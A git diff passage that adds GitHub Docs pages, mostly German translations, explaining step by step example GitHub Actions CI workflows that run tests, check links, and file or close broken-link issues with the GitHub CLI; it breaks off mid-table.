+    runs-on: {% raw %}${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}{% endraw %}
+```
+</td>
+<td>
+
+Configures the job to run on a {% data variables.product.prodname_dotcom %}-hosted runner or a self-hosted runner, depending on the repository running the workflow. In this example, the job will run on a self-hosted runner if the repository is named `docs-internal` and is within the `github` organization. If the repository doesn't match this path, then it will run on an `ubuntu-latest` runner hosted by {% data variables.product.prodname_dotcom %}. For more information on these options see "[Choosing the runner for a job](/actions/using-jobs/choosing-the-runner-for-a-job)."
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+    timeout-minutes: 60
+```
+</td>
+<td>
+
+Sets the maximum number of minutes to let the job run before it is automatically canceled. For more information, see [`timeout-minutes`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idtimeout-minutes).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+    strategy:
+```
+</td>
+<td>
+  This section defines the build matrix for your jobs.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      fail-fast: false
+```
+</td>
+<td>
+
+Setting `fail-fast` to `false` prevents {% data variables.product.prodname_dotcom %} from cancelling all in-progress jobs if any matrix job fails.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      matrix:
+        test-group:
+          [
+            content,
+            graphql,
+            meta,
+            rendering,
+            routing,
+            unit,
+            linting,
+            translations,
+          ]
+```
+</td>
+<td>
+
+Creates a matrix named `test-group`, with an array of test groups. These values match the names of test groups that will be run by `npm test`.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+    steps:
+```
+</td>
+<td>
+
+Groups together all the steps that will run as part of the `test` job. Each job in a workflow has its own `steps` section.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Check out repo
+        uses: {% data reusables.actions.action-checkout %}
+        with:
+          lfs: {% raw %}${{ matrix.test-group == 'content' }}{% endraw %}
+          persist-credentials: 'false'
+```
+</td>
+<td>
+
+The `uses` keyword tells the job to retrieve the action named `actions/checkout`. This is an action that checks out your repository and downloads it to the runner, allowing you to run actions against your code (such as testing tools). You must use the checkout action any time your workflow will run against the repository's code or you are using an action defined in the repository. Some extra options are provided to the action using the `with` key.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Figure out which docs-early-access branch to checkout, if internal repo
+        if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %}
+        id: check-early-access
+        uses: {% data reusables.actions.action-github-script %}
+        env:
+          BRANCH_NAME: {% raw %}${{ github.head_ref || github.ref_name }}{% endraw %}
+        with:
+          github-token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %}
+          result-encoding: string
+          script: |
+            // If being run from a PR, this becomes 'my-cool-branch'.
+            // If run on main, with the `workflow_dispatch` action for
+            // example, the value becomes 'main'.
+            const { BRANCH_NAME } = process.env
+            try {
+              const response = await github.repos.getBranch({
+                owner: 'github',
+                repo: 'docs-early-access',
+                BRANCH_NAME,
+              })
+              console.log(`Using docs-early-access branch called '${BRANCH_NAME}'.`)
+              return BRANCH_NAME
+            } catch (err) {
+              if (err.status === 404) {
+                console.log(`There is no docs-early-access branch called '${BRANCH_NAME}' so checking out 'main' instead.`)
+                return 'main'
+              }
+              throw err
+            }
+```
+</td>
+<td>
+
+If the current repository is the `github/docs-internal` repository, this step uses the `actions/github-script` action to run a script to check if there is a branch called `docs-early-access`.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Check out docs-early-access too, if internal repo
+        if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %}
+        uses: {% data reusables.actions.action-checkout %}
+        with:
+          repository: github/docs-early-access
+          token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %}
+          path: docs-early-access
+          ref: {% raw %}${{ steps.check-early-access.outputs.result }}{% endraw %}
+```
+</td>
+<td>
+
+If the current repository is the `github/docs-internal` repository, this step checks out the branch from the `github/docs-early-access` that was identified in the previous step.
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Merge docs-early-access repo's folders
+        if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %}
+        run: |
+          mv docs-early-access/assets assets/images/early-access
+          mv docs-early-access/content content/early-access
+          mv docs-early-access/data data/early-access
+          rm -r docs-early-access
+```
+</td>
+<td>
+
+If the current repository is the `github/docs-internal` repository, this step uses the `run` keyword to execute shell commands to move the `docs-early-access` repository's folders into the main repository's folders.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Checkout LFS objects
+        run: git lfs checkout
+```
+</td>
+<td>
+
+This step runs a command to check out LFS objects from the repository.
+</td>
+</tr>
+<tr>
+<td>
+
+
+```yaml{:copy}
+      - name: Gather files changed
+        uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b
+        id: get_diff_files
+        with:
+          # So that `steps.get_diff_files.outputs.files` becomes
+          # a string like `foo.js path/bar.md`
+          output: ' '
+```
+</td>
+<td>
+
+This step uses the `trilom/file-changes-action` action to gather the files changed in the pull request, so they can be analyzed in the next step. This example is pinned to a specific version of the action, using the `a6ca26c14274c33b15e6499323aac178af06ad4b` SHA.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Insight into changed files
+        run: |
+          echo {% raw %}"${{ steps.get_diff_files.outputs.files }}" > get_diff_files.txt{% endraw %}
+```
+</td>
+<td>
+
+This step runs a shell command that uses an output from the previous step to create a file containing the list of files changed in the pull request.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Setup node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: 16.14.x
+          cache: npm
+```
+</td>
+<td>
+
+This step uses the `actions/setup-node` action to install the specified version of the `node` software package on the runner, which gives you access to the `npm` command.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Install dependencies
+        run: npm ci
+```
+</td>
+<td>
+
+This step runs the `npm ci` shell command to install the npm software packages for the project.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Cache nextjs build
+        uses: {% data reusables.actions.action-cache %}
+        with:
+          path: .next/cache
+          key: {% raw %}${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}{% endraw %}
+```
+</td>
+<td>
+
+This step uses the `actions/cache` action to cache the Next.js build, so that the workflow will attempt to retrieve a cache of the build, and not rebuild it from scratch every time. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)."
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Run build script
+        run: npm run build
+```
+</td>
+<td>
+
+This step runs the build script.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Run tests
+        env:
+          DIFF_FILE: get_diff_files.txt
+          CHANGELOG_CACHE_FILE_PATH: tests/fixtures/changelog-feed.json
+        run: npm test -- {% raw %}tests/${{ matrix.test-group }}/{% endraw %}
+```
+</td>
+<td>
+
+This step runs the tests using `npm test`, and the test matrix provides a different value for {% raw %}`${{ matrix.test-group }}`{% endraw %} for each job in the matrix. It uses the `DIFF_FILE` environment variable to know which files have changed, and uses the `CHANGELOG_CACHE_FILE_PATH` environment variable for the changelog cache file.
+</td>
+</tr>
+</tbody>
+</table>
+
+## Next steps
+
+{% data reusables.actions.learning-actions %}
diff --git a/translations/de-DE/content/actions/examples/using-scripts-to-test-your-code-on-a-runner.md b/translations/de-DE/content/actions/examples/using-scripts-to-test-your-code-on-a-runner.md
new file mode 100644
index 0000000000..acef659890
--- /dev/null
+++ b/translations/de-DE/content/actions/examples/using-scripts-to-test-your-code-on-a-runner.md
@@ -0,0 +1,410 @@
+---
+title: Verwenden von Skripts zum Testen deines Codes auf einem Runner
+shortTitle: Using scripts to test your code on a runner
+intro: 'Verwenden wesentlicher {% data variables.product.prodname_actions %}-Features für Continuous Integration (CI).'
+versions:
+  fpt: '*'
+  ghes: '> 3.1'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Workflows
+ms.openlocfilehash: f313a294bc2515564787268112f064b72d339d32
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '146749528'
+---
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht über das Beispiel
+
+{% data reusables.actions.example-workflow-intro-ci %} Wenn dieser Workflow ausgelöst wird, wird automatisch ein Skript ausgeführt, das überprüft, ob die {% data variables.product.prodname_dotcom %}-Docs-Website fehlerhafte Links aufweist.
+
+{% data reusables.actions.example-diagram-intro %}
+
+![Übersichtsdiagramm der Workflowschritte](/assets/images/help/images/overview-actions-using-scripts-ci-example.png)
+
+## In diesem Beispiel verwendete Features
+
+{% data reusables.actions.example-table-intro %}
+
+| **Feature**  | **Implementierung** |
+| --- | --- | 
+{% data reusables.actions.push-table-entry %} {% data reusables.actions.pull-request-table-entry %} {% data reusables.actions.workflow-dispatch-table-entry %} {% data reusables.actions.permissions-table-entry %} {% data reusables.actions.concurrency-table-entry %} | Ausführen des Jobs abhängig vom Repository auf verschiedenen Runnern: | [`runs-on`](/actions/using-jobs/choosing-the-runner-for-a-job)| {% data reusables.actions.checkout-action-table-entry %} {% data reusables.actions.setup-node-table-entry %} | Verwendung einer Drittanbieteraktion: | [`trilom/file-changes-action`](https://github.com/trilom/file-changes-action)| | Ausführen eines Skripts auf dem Runner: | Verwenden von `./script/rendered-content-link-checker.mjs` |
+
+## Beispielworkflow
+
+{% data reusables.actions.example-docs-engineering-intro %} [`link-check-all.yml`](https://github.com/github/docs/blob/main/.github/workflows/link-check-all.yml).
+
+{% data reusables.actions.note-understanding-example %}
+
+<table style="table-layout: fixed;">
+<thead>
+  <tr>
+    <th style="width:100%"></th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+<td>
+
+```yaml{:copy}
+name: 'Link Checker: All English'
+
+# **What it does**: Renders the content of every page and check all internal links.
+# **Why we have it**: To make sure all links connect correctly.
+# **Who does it impact**: Docs content.
+
+on:
+  workflow_dispatch:
+  push:
+    branches:
+      - main
+  pull_request:
+
+permissions:
+  contents: read
+  # Needed for the 'trilom/file-changes-action' action
+  pull-requests: read
+
+# This allows a subsequently queued workflow run to interrupt previous runs
+concurrency:
+  group: {% raw %}'${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}'{% endraw %}
+  cancel-in-progress: true
+
+jobs:
+  check-links:
+    runs-on: {% raw %}${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}{% endraw %}
+    steps:
+      - name: Checkout
+        uses: {% data reusables.actions.action-checkout %}
+
+      - name: Setup node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: 16.13.x
+          cache: npm
+
+      - name: Install
+        run: npm ci
+
+      # Creates file "${{ env.HOME }}/files.json", among others
+      - name: Gather files changed
+        uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b
+        with:
+          fileOutput: 'json'
+
+      # For verification
+      - name: Show files changed
+        run: cat $HOME/files.json
+
+      - name: Link check (warnings, changed files)
+        run: |
+          ./script/rendered-content-link-checker.mjs \
+            --language en \
+            --max 100 \
+            --check-anchors \
+            --check-images \
+            --verbose \
+            --list $HOME/files.json
+
+      - name: Link check (critical, all files)
+        run: |
+          ./script/rendered-content-link-checker.mjs \
+            --language en \
+            --exit \
+            --verbose \
+            --check-images \
+            --level critical
+```
+</tr>
+</td>
+</tbody>
+</table>
+
+## Grundlegendes zum Beispiel
+
+{% data reusables.actions.example-explanation-table-intro %}
+
+<table style="table-layout: fixed;">
+<thead>
+  <tr>
+    <th style="width:60%"><b>Code</b></th>
+    <th style="width:40%"><b>Erklärung</b></th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+<td>
+
+```yaml{:copy}
+name: 'Link Checker: All English'
+```
+</td>
+<td>
+
+{% data reusables.actions.explanation-name-key %}
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+on:
+```
+</td>
+<td>
+
+Mit dem `on`-Schlüsselwort kannst du die bei Ausführung des Workflows ausgelösten Ereignisse definieren. Du kannst hier mehrere Ereignisse definieren. Weitere Informationen findest du unter [Auslösen eines Workflows](/actions/using-workflows/triggering-a-workflow#using-events-to-trigger-workflows).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  workflow_dispatch:
+```
+</td>
+<td>
+
+Füge das `workflow_dispatch`-Ereignis hinzu, wenn du diesen Workflow manuell auf der Benutzeroberfläche ausführen möchtest. Weitere Informationen findest du unter [`workflow_dispatch`](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  push:
+    branches:
+      - main
+```
+</td>
+<td>
+
+Füge das `push`-Ereignis hinzu, sodass der Workflow jedes Mal automatisch ausgeführt wird, wenn ein Commit an einen Branch mit dem Namen `main` gepusht wird. Weitere Informationen findest du unter [`push`](/actions/using-workflows/events-that-trigger-workflows#push).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  pull_request:
+```
+</td>
+<td>
+
+Füge das `pull_request`-Ereignis hinzu, sodass der Workflow jedes Mal automatisch ausgeführt wird, wenn ein Pull Request erstellt oder aktualisiert wird. Weitere Informationen findest du unter [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+permissions:
+  contents: read
+  pull-requests: read
+```
+</td>
+<td>
+
+Ändert die für `GITHUB_TOKEN` gewährten Standardberechtigungen. Dies variiert je nach den Anforderungen deines Workflows. Weitere Informationen findest du unter [Zuweisen von Berechtigungen zu Aufträgen](/actions/using-jobs/assigning-permissions-to-jobs).
+</td>
+</tr>
+<tr>
+<td>
+
+{% raw %}
+```yaml{:copy}
+concurrency:
+  group: '${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}'
+```
+{% endraw %}
+</td>
+<td>
+
+Erstellt eine Parallelitätsgruppe für bestimmte Ereignisse und verwendet den `||`-Operator zum Definieren von Fallbackwerten. Weitere Informationen findest du unter [Verwenden von Parallelität](/actions/using-jobs/using-concurrency).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  cancel-in-progress: true
+```
+</td>
+<td>
+
+Bricht alle derzeit ausgeführten Aufträge oder Workflows in derselben Parallelitätsgruppe ab.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+jobs:
+```
+</td>
+<td>
+
+Gruppiert alle in der Workflowdatei ausgeführten Aufträge.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  check-links:
+```
+</td>
+<td>
+
+Definiert einen Auftrag mit der ID `check-links`, die innerhalb des `jobs`-Schlüssels gespeichert ist.
+</td>
+</tr>
+<tr>
+<td>
+
+{% raw %}
+```yaml{:copy}
+    runs-on: ${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}
+```
+{% endraw %}
+</td>
+<td>
+
+Konfiguriert den Auftrag abhängig von dem Repository, das den Workflow ausführt, zur Ausführung auf einem von {% data variables.product.prodname_dotcom %} gehosteten oder selbstgehosteten Runner. In diesem Beispiel wird der Auftrag auf einem selbstgehosteten Runner ausgeführt, wenn das Repository mit `docs-internal` benannt ist und sich innerhalb der `github`-Organisation befindet. Wenn das Repository nicht mit diesem Pfad übereinstimmt, wird er auf einem von {% data variables.product.prodname_dotcom %} gehosteten `ubuntu-latest`-Runner ausgeführt. Weitere Informationen zu diesen Optionen findest du unter [Auswählen des Runners für einen Auftrag](/actions/using-jobs/choosing-the-runner-for-a-job).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+    steps:
+```
+</td>
+<td>
+
+Gruppiert alle Schritte, die als Teil des `check-links`-Auftrags ausgeführt werden. Jeder Auftrag in einem Workflow verfügt über einen eigenen `steps`-Abschnitt.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Checkout
+        uses: {% data reusables.actions.action-checkout %}
+```
+</td>
+<td>
+
+Das `uses`-Schlüsselwort weist den Auftrag an, die Aktion mit dem Namen `actions/checkout` abzurufen. Mit dieser Aktion wird dein Repository ausgecheckt und in den Runner heruntergeladen. Dadurch kannst du Aktionen für deinen Code ausführen (z. B. Testtools). Du musst die Auscheckaktion jedes Mal verwenden, wenn dein Workflow mit dem Code des Repositorys ausgeführt wird, oder du eine im Repository definierte Aktion verwendest.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Setup node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: 16.13.x
+          cache: npm
+```
+</td>
+<td>
+
+In diesem Schritt wird mit der `actions/setup-node`-Aktion die angegebene Version des Node.js-Softwarepakets auf dem Runner installiert. Dadurch erhältst du Zugriff auf den `npm`-Befehl.
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Install
+        run: npm ci
+```
+</td>
+<td>
+
+Mit dem `run`-Schlüsselwort wird der Auftrag angewiesen, einen Befehl im Runner auszuführen. In diesem Fall werden mit `npm ci` die npm-Softwarepakete für das Projekt installiert.
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Gather files changed
+        uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b
+        with:
+          fileOutput: 'json'
+```
+</td>
+<td>
+
+Sammelt mit der `trilom/file-changes-action`-Aktion alle geänderten Dateien. Dieses Beispiel wird mit `a6ca26c14274c33b15e6499323aac178af06ad4b`-SHA einer bestimmten Version der Aktion angeheftet.
+</td>
+</tr>
+
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Show files changed
+        run: cat $HOME/files.json
+```
+</td>
+<td>
+
+Listet den Inhalt von `files.json` auf. Dies ist im Protokoll der Workflowausführung sichtbar und kann für das Debuggen nützlich sein.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Link check (warnings, changed files)
+        run: |
+          ./script/rendered-content-link-checker.mjs \
+            --language en \
+            --max 100 \
+            --check-anchors \
+            --check-images \
+            --verbose \
+            --list $HOME/files.json
+```
+</td>
+<td>
+
+In diesem Schritt wird mit dem `run`-Befehl ein Skript ausgeführt, das im Repository unter `script/rendered-content-link-checker.mjs` gespeichert ist, und alle zur Ausführung erforderlichen Parameter werden übergeben.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+      - name: Link check (critical, all files)
+        run: |
+          ./script/rendered-content-link-checker.mjs \
+            --language en \
+            --exit \
+            --verbose \
+            --check-images \
+            --level critical
+```
+</td>
+<td>
+
+In diesem Schritt wird auch mit dem `run`-Befehl ein Skript ausgeführt, das im Repository unter `script/rendered-content-link-checker.mjs` gespeichert ist, und ein anderer Satz von Parametern übergeben.
+</tr>
+
+</tbody>
+</table>
+
+## Nächste Schritte
+
+{% data reusables.actions.learning-actions %}
diff --git a/translations/de-DE/content/actions/examples/using-the-github-cli-on-a-runner.md b/translations/de-DE/content/actions/examples/using-the-github-cli-on-a-runner.md
new file mode 100644
index 0000000000..e501af3a32
--- /dev/null
+++ b/translations/de-DE/content/actions/examples/using-the-github-cli-on-a-runner.md
@@ -0,0 +1,485 @@
+---
+title: Verwenden der GitHub CLI auf einem Runner
+shortTitle: Use the GitHub CLI on a runner
+intro: 'Verwenden erweiterter {% data variables.product.prodname_actions %}-Features für Continuous Integration (CI).'
+versions:
+  fpt: '*'
+  ghes: '> 3.1'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Workflows
+ms.openlocfilehash: e0787d09cd194de0038d259c1aff777cc91a4a6a
+ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148111585'
+---
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Übersicht über das Beispiel
+
+{% data reusables.actions.example-workflow-intro-ci %} Wenn dieser Workflow ausgelöst wird, wird automatisch ein Skript ausgeführt, das überprüft, ob die {% data variables.product.prodname_dotcom %}-Docs-Website fehlerhafte Links aufweist. Wenn fehlerhafte Links gefunden werden, verwendet der Workflow die {% data variables.product.prodname_dotcom %} CLI, um ein {% data variables.product.prodname_dotcom %}-Issue mit den Details zu erstellen.
+
+{% data reusables.actions.example-diagram-intro %}
+
+![Übersichtsdiagramm der Workflowschritte](/assets/images/help/images/overview-actions-using-cli-ci-example.png)
+
+## In diesem Beispiel verwendete Features
+
+{% data reusables.actions.example-table-intro %}
+
+| **Feature**  | **Implementierung** |
+| --- | --- |
+{% data reusables.actions.cron-table-entry %} {% data reusables.actions.permissions-table-entry %} {% data reusables.actions.if-conditions-table-entry %} {% data reusables.actions.secrets-table-entry %} {% data reusables.actions.checkout-action-table-entry %} {% data reusables.actions.setup-node-table-entry %} | Verwendung einer Drittanbieteraktion: | [`peter-evans/create-issue-from-file`](https://github.com/peter-evans/create-issue-from-file)| | Ausführen von Shellbefehlen auf dem Runner: | [`run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun) | | Ausführen eines Skripts auf dem Runner: | Verwenden von `script/check-english-links.js` | | Erzeugen einer Ausgabedatei: | Weiterreichen der Ausgabe mit dem `>`-Operator | | Prüfen auf vorhandene Issues mit {% data variables.product.prodname_cli %}: | [`gh issue list`](https://cli.github.com/manual/gh_issue_list) | | Kommentar zu einem Issue mithilfe von {% data variables.product.prodname_cli %}: | [`gh issue comment`](https://cli.github.com/manual/gh_issue_comment) |
+
+## Beispielworkflow
+
+{% data reusables.actions.example-docs-engineering-intro %} [`check-all-english-links.yml`](https://github.com/github/docs/blob/6e01c0653836c10d7e092a17566a2c88b10504ce/.github/workflows/check-all-english-links.yml).
+
+{% data reusables.actions.note-understanding-example %}
+
+<table style="table-layout: fixed;">
+<thead>
+  <tr>
+    <th style="width:70%"></th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+<td>
+
+```yaml{:copy}
+name: Check all English links
+
+# **What it does**: This script once a day checks all English links and reports in issues.
+# **Why we have it**: We want to know if any links break.
+# **Who does it impact**: Docs content.
+
+on:
+  workflow_dispatch:
+  schedule:
+    - cron: '40 19 * * *' # once a day at 19:40 UTC / 11:40 PST
+
+permissions:
+  contents: read
+  issues: write
+
+jobs:
+  check_all_english_links:
+    name: Check all links
+    if: github.repository == 'github/docs-internal'
+    runs-on: ubuntu-latest
+    env:
+      GITHUB_TOKEN: {% raw %}${{ secrets.DOCUBOT_READORG_REPO_WORKFLOW_SCOPES }}{% endraw %}
+      FIRST_RESPONDER_PROJECT: Docs content first responder
+      REPORT_AUTHOR: docubot
+      REPORT_LABEL: broken link report
+      REPORT_REPOSITORY: github/docs-content
+    steps:
+      - name: Check out repo's default branch
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Setup Node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: 16.13.x
+          cache: npm
+      - name: npm ci
+        run: npm ci
+      - name: npm run build
+        run: npm run build
+      - name: Run script
+        run: |
+          script/check-english-links.js > broken_links.md
+
+      # check-english-links.js returns 0 if no links are broken, and 1 if any links
+      # are broken. When an Actions step's exit code is 1, the action run's job status
+      # is failure and the run ends. The following steps create an issue for the
+      # broken link report only if any links are broken, so {% raw %}`if: ${{ failure() }}`{% endraw %}
+      # ensures the steps run despite the previous step's failure of the job.
+
+      - if: {% raw %}${{ failure() }}{% endraw %}
+        name: Get title for issue
+        id: check
+{%- ifversion actions-save-state-set-output-envs %}
+        run: echo "title=$(head -1 broken_links.md)" >> $GITHUB_OUTPUT
+{%- else %}
+        run: echo "::set-output name=title::$(head -1 broken_links.md)"
+{%- endif %}
+      - if: {% raw %}${{ failure() }}{% endraw %}
+        name: Create issue from file
+        id: broken-link-report
+        uses: peter-evans/create-issue-from-file@b4f9ee0a9d4abbfc6986601d9b1a4f8f8e74c77e
+        with:
+          token: {% raw %}${{ env.GITHUB_TOKEN }}{% endraw %}
+
+          title: {% raw %}${{ steps.check.outputs.title }}{% endraw %}
+          content-filepath: ./broken_links.md
+          repository: {% raw %}${{ env.REPORT_REPOSITORY }}{% endraw %}
+          labels: {% raw %}${{ env.REPORT_LABEL }}{% endraw %}
+      - if: {% raw %}${{ failure() }}{% endraw %}
+        name: Close and/or comment on old issues
+        env:
+          {% raw %}NEW_REPORT_URL: 'https://github.com/${{ env.REPORT_REPOSITORY }}/issues/${{ steps.broken-link-report.outputs.issue-number }}'{% endraw %}
+        run: |
+          gh alias set list-reports "issue list \
+                                       --repo {% raw %}${{ env.REPORT_REPOSITORY }} \{% endraw %}
+                                       --author {% raw %}${{ env.REPORT_AUTHOR }} \{% endraw %}
+                                       --label {% raw %}'${{ env.REPORT_LABEL }}'"{% endraw %}
+
+          # Link to the previous report from the new report that triggered this
+          # workflow run.
+
+          previous_report_url=$(gh list-reports \
+                                  --state all \
+                                  --limit 2 \
+                                  --json url \
+                                  --jq '.[].url' \
+                                  | grep -v {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} | head -1)
+
+          gh issue comment {% raw %}${{ env.NEW_REPORT_URL }}{% endraw %} --body "⬅️ [Previous report]($previous_report_url)"
+
+          # If an old report is open and assigned to someone, link to the newer
+          # report without closing the old report.
+
+          for issue_url in $(gh list-reports \
+                                  --json assignees,url \
+                                  --jq '.[] | select (.assignees != []) | .url'); do
+            if [ "$issue_url" != {% raw %}"${{ env.NEW_REPORT_URL }}"{% endraw %} ]; then
+              gh issue comment $issue_url --body "➡️ [Newer report]({% raw %}${{ env.NEW_REPORT_URL }}{% endraw %})"
+            fi
+          done
+
+          # Link to the newer report from any older report that is still open,
+          # then close the older report and remove it from the first responder's
+          # project board.
+
+          for issue_url in $(gh list-reports \
+                                  --search 'no:assignee' \
+                                  --json url \
+                                  --jq '.[].url'); do
+            if [ "$issue_url" != {% raw %}"${{ env.NEW_REPORT_URL }}"{% endraw %} ]; then
+              gh issue comment $issue_url --body "➡️ [Newer report]({% raw %}${{ env.NEW_REPORT_URL }})"{% endraw %}
+              gh issue close $issue_url
+              gh issue edit $issue_url --remove-project "{% raw %}${{ env.FIRST_RESPONDER_PROJECT }}"{% endraw %}
+            fi
+          done
+```
+</tr>
+</td>
+</tbody>
+</table>
+
+## Grundlegendes zum Beispiel
+
+{% data reusables.actions.example-explanation-table-intro %}
+
+<table style="table-layout: fixed;">
+<thead>
+  <tr>
+    <th style="width:60%"><b>Code</b></th>
+    <th style="width:40%"><b>Erklärung</b></th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+<td>
+
+```yaml{:copy}
+name: Check all English links
+```
+</td>
+<td>
+
+{% data reusables.actions.explanation-name-key %}
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+on:
+  workflow_dispatch:
+  schedule:
+    - cron: '40 20 * * *' # once a day at 20:40 UTC / 12:40 PST
+```
+</td>
+<td>
+
+Definiert `workflow_dispatch` und `scheduled` als Trigger für den Workflow:
+
+* Mit `workflow_dispatch` kannst du diesen Workflow manuell von der Benutzeroberfläche aus ausführen. Weitere Informationen findest du unter [`workflow_dispatch`](/actions/using-workflows/events-that-trigger-workflows#workflow_dispatch).
+* Mit dem `schedule`-Ereignis kannst du mithilfe der `cron`-Syntax ein reguläres Intervall definieren, um den Workflow automatisch auszulösen. Weitere Informationen findest du unter [`schedule`](/actions/reference/events-that-trigger-workflows#schedule).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+permissions:
+  contents: read
+  issues: write
+```
+</td>
+<td>
+
+Ändert die für `GITHUB_TOKEN` gewährten Standardberechtigungen. Dies variiert je nach den Anforderungen deines Workflows. Weitere Informationen findest du unter [Zuweisen von Berechtigungen zu Aufträgen](/actions/using-jobs/assigning-permissions-to-jobs).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+jobs:
+```
+</td>
+<td>
+
+Gruppiert alle in der Workflowdatei ausgeführten Aufträge.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  check_all_english_links:
+    name: Check all links
+```
+</td>
+<td>
+
+Definiert einen Auftrag mit der ID `check_all_english_links` und dem Namen `Check all links`, die innerhalb des `jobs`-Schlüssels gespeichert sind.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+if: github.repository == 'github/docs-internal'
+```
+</td>
+<td>
+
+Führe den `check_all_english_links`-Auftrag nur aus, wenn das Repository `docs-internal` heißt und sich innerhalb der Organisation `github` befindet. Andernfalls wird der Auftrag als _übersprungen_ markiert.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+runs-on: ubuntu-latest
+```
+</td>
+<td>
+
+Konfiguriert den Auftrag, der auf einem Ubuntu Linux-Runner ausgeführt werden soll. Dies bedeutet, dass der Auftrag auf einer neuen, von {% data variables.product.prodname_dotcom %} gehosteten VM ausgeführt wird. Syntaxbeispiele mit anderen Runnern findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}.](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on)
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+    env:
+      GITHUB_TOKEN: {% raw %}${{ secrets.DOCUBOT_READORG_REPO_WORKFLOW_SCOPES }}{% endraw %}
+      REPORT_AUTHOR: docubot
+      REPORT_LABEL: broken link report
+      REPORT_REPOSITORY: github/docs-content
+```
+</td>
+<td>
+
